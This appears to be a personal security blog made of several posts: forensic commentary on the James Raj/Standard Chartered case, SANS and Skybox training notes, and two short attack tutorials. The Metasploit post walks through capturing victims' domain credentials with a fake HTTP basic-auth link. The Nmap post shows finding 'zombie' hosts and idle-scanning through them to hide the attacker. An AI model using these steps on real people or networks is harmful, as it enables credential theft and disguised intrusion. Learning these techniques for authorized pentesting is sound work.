Standard Chartered 'Hacked'

Hack, Evidence, Prosecution, Processes, Trust and Moving on.....

Source: http://www.ft.com/cms/s/0/8e10be78-5dab-11e3-95bd-00144feabdc0.html#axzz2mkcg5Z2Y

In a recent incident involving James Raj allegedly known as The Messiah, Standard Chartered client statements were found on James Raj's laptop. This quickly escalated to the readers on the journey to hate the Anonymous group that James Raj was supposedly part of. 

While we have no visibility as to how the data got into James Raj laptop, one thing i would questioned is the evidence gathered. It is not just simply about blaming him since the data was on his laptop. Investigators must find evidence that can illustrate that it was indeed James Raj who stole the information. This must be in the form of logs from both the laptop and Fuji Xerox. A company like Fuji Xerox would surely have all the log gatherings and management in place and investigators must ensure that the log tallies confirming that there was indeed a network connection being made from James Raj IP address to the Fuji Xerox's server. 

Cyber forensic investigators must also be able to retrieve the logs from the laptop to confirm that his laptop was not just being used but to confirm that there were no other connections made from other sources connecting to James Raj's machine and used it as a proxy to attack FX. Timing of connections made must be in sync. Metadata of logs should not be tampered (especially by amateurs evidence handlers)

Below is a high level graphical example as how James Raj's machine could be used in the stealing of data.

How could this be possible?

During #OpTunisia, there were alot of protests against the Tunisian government. This led to outsiders wanting to take part as well. As they were outside of Tunisia, they relied on the internet to voice out their unhappiness against the Tunisian government. Government websites were hacked and defaced (no information was stolen) by hackers. The Tunisian government fought back by blocking all connections outside of Tunisia to connect to the government websites. A hacker known as Sabu managed to find a Tunisian citizen machine to use as a proxy to connect to the government website. All he had to do was to connect to that machine as a proxy and attack the Tunisian government website from that machine. Reports stated that due to little pool of experts in handling such incidents, the owner of that machine was arrested and left the hacker free.  

Source: From the Book 'We are Anonymous' by Parmy Olson. Page 143 - 146

Lesson that we can Learn

Skillful hackers do not connect and hack directly to the target from their own machines but that does not mean that n00b hackers do not know how to hide their tracks as well. Investigators will need to identify the logs properly and securely and ensure that in no way the evidence are tampered during the course of investigation. These logs must be in both the machine and the server to ensure that the evidence that connections made are true and in sync. If logs or files are suspected to be deleted,  investigators should clone the entire image of the hard disk, use a data recovery tool and identify the evidence from there. The operating system itself should be checked whether ports such as telnet and other shell like services or vulnerabilities were opened/present. This could be another evidence to suggest that James Raj's laptop were already vulnerable to have other machines connecting to his laptop possibly using his machine to leverage on the attack. Until all these are gathered, only then will the public be confident of the methodologies, processes and techniques used during the gathering of the evidence and cover all possible factors of external party using Raj's machine as a proxy to attack.

Recent News may give Govt a Hard Time

Recent news about a government chemist in the States who was found guilty on tampering with evidence which resulted in many innocents going to jail will definitely be running in many minds questioning about the genuinity of the evidence and prosecution of James Raj should James Raj be found guilty of the charges made against him.

Source: http://filmingcops.com/corrupt-government-chemist-tampered-with-40000-cases-locking-countless-innocent-americans-in-prison/

Source: http://filmingcops.com/breaking-another-government-chemist-accused-of-deception-over-180000-cases-now-need-review/

Moving Forward

In order for organizations and companies to know whether they are ready for such an attack is to perform vulnerability assessments on their network and servers. Only then will they know how they can fare against a potential attack. One of the mistakes made by organizations is trusting their own security department on handling such assessments but as they always say, its better to have a new pair of eyes to see what their own internal team may be blinded to (similarly like doing an audit). Hire ethical hackers/pentesters to simulate a real world attack on your servers and networks and see how deep they could penetrate into. Of course, rules of engagements and non disclosure agreement must be made to maintain confidentiality and integrity of the assessment with both parties involved. 

SANS 542 - Web Application Penetration Testing: Day 1

SANS 542.1

The Attacker's View of the Web

Location: Bangkok's Crowne Plaza Hotel

Topics covered during Day 1:

>Setting up Samurai WTF

> Web Site Server Architecture

>Understanding HTTP protocol

>Pentesting Types and Methods

>Components of Web App pentest

>Reports of findings

>Attack Methodology

>Types of Flaws

>Javascript

While many of the day 1 lesson covered i already have the knowledge, there were also many that i learnt such as analyzing HTTP using Wireshark and Paros Proxy. Also i learnt how to decrypt HTTPS communication using Wireshark. Basic Javascript attacks such as XSS were introduced and will be covered more in the other days and im so looking forward for that! The trainer was from Belgium and he had a great command of the English language that could easily understood. Can't wait for day 2.

Skybox - How Skybox (Risk Control) can be used in a Pentest Engagement

So i went for a 3 day Skybox training to learn the fundamental uses of the product and i kinda liked it and although Skybox is meant to be used as an 'in house' product, it can be used for pentesting engagement.

Basically there are Five components in Skybox:
1) Firewall Assurance
     - http://www.skyboxsecurity.com/products/firewall-assurance
2) Network Assurance
     -http://www.skyboxsecurity.com/products/network-assurance
3) Risk Control
     -http://www.skyboxsecurity.com/products/risk-control
4) Threat Manager
     -http://www.skyboxsecurity.com/products/threat-manager
5) Change Manager
     -http://www.skyboxsecurity.com/products/changemanager

In this article, i will focus on the Risk Control component and how it can be used for a penetration testing scope. I will be using a Demo Model used during my training to illustrate to you the cool stuffs of Risk Control.

Note: The demo model was provided to me during the training. As it was a brief introduction of Skybox, there were no time to have a practical lessons on how to create a model and input information such as the vulnerabilities, hosts, etc from scratch and map it out into an architecture.

Once i loaded the model, the first thing i see is the list of vulnerabilities in the whole organization's network.

Finding Information

One of the features that i liked was the finding the information i want for example, if i want to find how many Critical vulnerabilities are there:

If i want to find a list of hosts with the name "app_0_db"

By default it wont show the Vulnerabilities tab, therefore we need to customize the window to view it.

Vulnerabilities Analysis

To view the information of the vulnerability, the General tab provides lots of information about it

It also shows the CVSS score of the vulnerability

Creating an Attacker

Let's create an virtual hacker/attacker from the Internet. This hacker will then be used to simulate the attacks later.

After creating the virtual attacker, we analyze the exposure of what are the possible targets of the attacker.

Simulating the Attack

Now that we have analyzed the exposure, its time to explore the attack.

After analyzing, we will see the kind of targets and the description of the attack as well as the Risk level.

To view a simulated attack, choose on a Target and click 'Attack Explorer'

From the above simulated attack, we can see how the attack was done, the vulnerabilities used, the steps of the attack, the ports used and the hosts that was attacked.

How can this integrate to a Penetration Testing Engagement

The Risk Control component of Skybox can be used to illustrate attacks and simulate hacking situations based on Live environment or What If scenarios without using the actual production environment itself. With this, it will be easier for pentesters to then perform a POC of the attack to confirm the possibility of the penetration. This would be useful for client organizations who wants to have an engagement but are very very afraid that such engagement could lead to a DOS or service failures.

The Disadvantage

1) While finding information and simulating attacks are fun and cool, one needs to do ALOT of work to get the initial config files, scanned hosts files, modelling it in Skybox and organizing it to output into something like this:

Only personnel who have extensive experience on designing the layout would be an advantage of using the Skybox.

2) While this component is very good and useful, the down side to it is that how many of the clients would actually provide all the switches, IPS/IDS and firewalls configurations to another Penetration Testing company? As Skybox is only useful to perform a proper security/network architecture analysis when fed with all the necessary config files. Without them, we cant make full use of Skybox capabilities....

METASPLOIT - Stealing Credentials (The Lazy Way)

Just when you think its all harmless and innocent.....

In this example, we are going to show how easy it is to steal credentials through deception. Fire up our metasploit,

#msfconsole

#msf > use auxiliary/server/capture/http_basic

#msf auxiliary(http_basic) > set URIPATH ClickMe

#msf auxiliary(http_basic) > exploit

A link will be generated and in this case its http://192.168.71.169:80/ClickMe. For quick kills, you need to find a way to provide this link to potential victims.

Once the victim receives the link and enters it in the URL;

A username and password is asked. Typically, unknown victims will input their domain credentials. For this example, i used the username= 'windowsusername' and the password='domainpassword'.

When the victim clicks Log In, the credentials are being sent to the attacker!

*Test was done with Mcafee AV status updated and Windows Firewall On. :)

Nmap & Metasploit - Finding a Zombie

Find a victim, make it a zombie and then use that zombie to bite it!

Many may not realize this but NMAP has the ability to turn a machine into a zombie (well not literally) and use it to perform scanning on other machines. This is another way to use the power of trust of another computer, 'take over' and scan it on the other. Besides, this is way more challenging than using the -D (decoy) switch.

Well, first its not easy to find a potential zombie using NMAP (if anyone has any idea, do share) so we are going to use Metasploit to find potential zombie machines.

Open your terminal and type in

#msfconsole

Once loaded, type

msf > use auxiliary/scanner/ip/ipidseq 

If you wanna see the available options, enter below;

msf auxiliary(ipidseq) > show options

Then lets put in the IP range for them to scan and find potential zombies

msf auxiliary(ipidseq) > set RHOSTS 192,168.71.150-192.168.71.153

msf auxiliary(ipidseq) > set THREADS 50

msf auxiliary(ipidseq) > run

Once ran, the result will be shown and if you see an IP with the remark as 'Incremental!' it means you have a potential zombie!!!!!

So once a potential zombie is found, rifle up the nmap and run the scan 

#nmap -PN -sI <zombie IP> <victim IP>

Basically, what this scan does is to scan another machine using the zombie machine that somehow acts like a proxy. 

In what situation can we apply this?

Let's say you are in the same network but you can perform a scan to a server but the other person beside you can because he is 'trusted' or given special privileges. So the only way is to connect to his machine and use it to scan the server instead. From the server network side, they will see it as a valid traffic NOT from the 'attacker' but from the trusted Zombie itself. :)